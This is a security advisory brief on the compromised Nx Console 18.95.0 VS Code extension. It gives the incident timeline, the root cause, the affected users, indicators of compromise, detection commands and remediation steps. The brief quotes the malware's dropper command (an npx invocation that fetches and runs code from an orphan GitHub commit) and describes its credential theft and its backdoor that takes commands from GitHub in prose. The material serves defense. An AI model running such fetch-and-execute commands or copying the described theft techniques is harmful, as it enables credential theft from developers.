---
title: "Nx Console 18.95.0: Hijacked VS Code Extension Release"
url: https://erroneo.us/security/briefs/nx-console-18-95-0-malicious-vscode-extension/
description: "A malicious Nx Console 18.95.0 on VS Code Marketplace and Open VSX stole developer secrets on May 18, 2026 (CVE-2026-48027). Check machines, rotate."
type: security-brief
section: "Security Digest"
date_published: 2026-05-18
date_modified: 2026-10-23
publisher: erroneo.us
author: erroneo.us Security Desk
verdict: "Check exposure"
cves: ["CVE-2026-48027"]
severity: "critical"
exploited: "in-the-wild"
kev: true
license: All rights reserved. Quote with attribution and a link.
---

# Nx Console 18.95.0: Hijacked VS Code Extension Release

**Verdict: Check exposure.** The bad build was live for under 40 minutes in May 2026, but it planted a backdoor and stole every credential it could reach, so any machine that ran it should be treated as compromised until checked and its secrets rotated.

- **Who must act:** Any developer or organization whose VS Code, Cursor or other fork had Nx Console installed with auto-update between 12:30 and 13:09 UTC on May 18, 2026, or that finds 18.95.0 or its indicators on a machine.
- **Who can relax:** Users who never had Nx Console 18.95.0, and users of the Nx CLI, @nx/* npm plugins and Nx Cloud, which were not affected.
- **Affected:** Nx Console (nrwl.angular-console) 18.95.0 only, from the Visual Studio Marketplace (12:30-12:47 UTC) and Open VSX (12:33-13:09 UTC) on May 18, 2026
- **Fixed:** Nx Console 18.100.0 and later
- **CVEs:** CVE-2026-48027
- **CISA KEV:** yes · **Exploitation:** Exploited in the wild

## What to do

1. Run code --list-extensions --show-versions | grep angular-console on every developer machine, and check the extensions folder of any VS Code fork.
2. Update Nx Console to 18.100.0 or later.
3. On any machine that had 18.95.0, kill processes with __DAEMONIZED=1 or cat.py, unload the com.user.kitty-monitor LaunchAgent, and delete the kitty and .gh_update_state artifacts.
4. Rotate every credential the machine could reach: GitHub, npm, SSH, AWS, GCP, Kubernetes, Vault, 1Password items, .env values and AI or MCP API keys.
5. Audit GitHub org audit logs, npm publish history and cloud logs for activity by those identities since May 18, 2026, and reimage high-value machines.
6. Require a second person to approve extension and package releases, and keep gh CLI tokens out of plain files.

### How to check if you are affected

- code --list-extensions --show-versions | grep angular-console (18.95.0 means the build was installed)
- ls -la ~/.local/share/kitty/cat.py ~/Library/LaunchAgents/com.user.kitty-monitor.plist /var/tmp/.gh_update_state /tmp/kitty-* (Windows: %USERPROFILE%\.local\share\kitty\cat.py, %TEMP%\kitty-*, %USERPROFILE%\.bun\bin\bun.exe)
- ps eww -ax | grep -E '__DAEMONIZED|cat\.py' for live backdoor processes
- grep -rl 558b09d7 ~/.npm/_cacache/index-v5 for npm cache entries of the github:nrwl/nx#558b09d7 dropper
- Unexpected entries in /etc/sudoers or /etc/sudoers.d on Linux, and outbound requests to api.github.com/search/commits?q=firedalazer

## What happened

At 12:30 UTC on May 18, 2026, a malicious Nx Console 18.95.0 (extension ID `nrwl.angular-console`) was published to the Visual Studio Marketplace. It went live on Open VSX at 12:33. A maintainer spotted the publish email, and the build came off the Marketplace at 12:47 and Open VSX at 13:09, per the [Nx advisory](https://github.com/nrwl/nx-console/security/advisories/GHSA-c9j4-9m59-847w).

The [Nx postmortem](https://nx.dev/blog/nx-console-v18-95-0-postmortem) traces it to the May 11 TanStack npm compromise. A contributor's `pnpm install` pulled a malicious `@tanstack/zod-adapter`, which stole the GitHub CLI token in `~/.config/gh/hosts.yml`. At the time, any core contributor could release Nx Console without a second approval.

[StepSecurity's analysis](https://www.stepsecurity.io/blog/nx-console-vs-code-extension-compromised) shows injected code in `main.js` that runs when any workspace opens. It launches a hidden VS Code task that runs `npx -y github:nrwl/nx#558b09d7...`, an orphan commit pushed with the stolen token. That installs Bun and runs an obfuscated `index.js`, which daemonizes with `__DAEMONIZED=1`. It collects GitHub tokens (including from process memory), npm tokens, AWS metadata and Secrets Manager values, Vault, Kubernetes and 1Password CLI secrets, SSH keys, `.env` files and `~/.claude/`. Data leaves over HTTPS, the GitHub API and DNS. On macOS a Python backdoor, `~/.local/share/kitty/cat.py`, is installed as a LaunchAgent. Every hour it searches GitHub commits for `firedalazer` and runs signed commands it finds there. On Linux the payload tries to add a sudoers rule.

## Who is affected

Only 18.95.0 is affected, and 18.100.0 and later are clean. Microsoft counted 28 Marketplace installs and Open VSX 41 downloads. Nx's own telemetry, however, showed about 6,000 activations, all but one from VS Code (one from Cursor). The Nx CLI, `@nx/*` plugins and Nx Cloud were not affected.

One victim was GitHub: an employee's device was compromised through the extension and about 3,800 internal repositories were taken, [BleepingComputer reports](https://www.bleepingcomputer.com/news/security/github-links-repo-breach-to-tanstack-npm-supply-chain-attack/), in an attack attributed to TeamPCP.

The [CVE record](https://www.cve.org/CVERecord?id=CVE-2026-48027) scores it CVSS 4.0 9.3 and [NVD](https://nvd.nist.gov/vuln/detail/CVE-2026-48027) CVSS 3.1 9.8. (The record says May 19; the advisory timeline says May 18.) CISA added it to [KEV](https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-48027) on May 27, 2026 and marks it as known to be used in ransomware campaigns. This is a separate incident from the August 2025 s1ngularity nx npm attack.

## Do you really need to act?

Only if a machine had 18.95.0, but check rather than assume: Nx warns that extension auto-update could have installed it without anyone clicking. The theft ran once, the backdoor stayed and could take new orders, and any token not rotated since May still works. If no machine shows the version or the indicators below, you are done.

## What to do now

1. On each developer machine, run `code --list-extensions --show-versions | grep angular-console`. Check the extension folders of Cursor and other forks too.
2. Update Nx Console to 18.100.0 or later.
3. Where 18.95.0 or an indicator turns up, kill processes with `__DAEMONIZED` or `cat.py`. Run `launchctl unload ~/Library/LaunchAgents/com.user.kitty-monitor.plist`, then delete the files listed below.
4. Rotate everything that machine could reach: GitHub, npm, SSH, AWS, GCP, Kubernetes, Vault, 1Password items, `.env` values, and AI and MCP API keys.
5. Review GitHub org audit logs, especially deleted workflow runs and pushes to `.github/workflows/`, plus npm publish history and CloudTrail. Reimage sensitive machines.

## How to tell if you were hit

On macOS and Linux, look for `~/.local/share/kitty/cat.py`, `~/Library/LaunchAgents/com.user.kitty-monitor.plist`, `/var/tmp/.gh_update_state` and `/tmp/kitty-*`. On Windows, look for `%USERPROFILE%\.local\share\kitty\cat.py`, `%TEMP%\kitty-*`, `%TEMP%\.gh_update_state` and `%USERPROFILE%\.bun\bin\bun.exe`.

Find live processes with `ps eww -ax | grep -E '__DAEMONIZED|cat\.py'`, search the npm cache for `558b09d7`, check `/etc/sudoers.d`, and look in proxy logs for `api.github.com/search/commits?q=firedalazer`.

## Timeline

- May 11, 2026 — The TanStack npm compromise steals a contributor's GitHub CLI token.
- May 18, 2026 — Malicious 18.95.0 is live from 12:30 to 13:09 UTC. Nx publishes GHSA-c9j4-9m59-847w at 17:01.
- May 19, 2026 — GitHub discloses its internal repository breach.
- May 21, 2026 — Nx publishes its postmortem.
- May 27, 2026 — CVE-2026-48027 is published and CISA adds it to KEV. The federal deadline is June 10.

## Sources

1. [Nx — GHSA-c9j4-9m59-847w: Compromised Nx Console version 18.95.0](https://github.com/nrwl/nx-console/security/advisories/GHSA-c9j4-9m59-847w)
2. [Nx — Nx Console v18.95.0 postmortem](https://nx.dev/blog/nx-console-v18-95-0-postmortem)
3. [CVE record — CVE-2026-48027](https://www.cve.org/CVERecord?id=CVE-2026-48027)
4. [NVD — CVE-2026-48027](https://nvd.nist.gov/vuln/detail/CVE-2026-48027)
5. [CISA — Known Exploited Vulnerabilities: CVE-2026-48027](https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-48027)
6. [StepSecurity — Nx Console VS Code extension compromised](https://www.stepsecurity.io/blog/nx-console-vs-code-extension-compromised)
7. [BleepingComputer — GitHub links repo breach to TanStack npm supply-chain attack](https://www.bleepingcomputer.com/news/security/github-links-repo-breach-to-tanstack-npm-supply-chain-attack/)

---
Source page: https://erroneo.us/security/briefs/nx-console-18-95-0-malicious-vscode-extension/ · Security Digest: https://erroneo.us/security/ · More: https://erroneo.us/llms.txt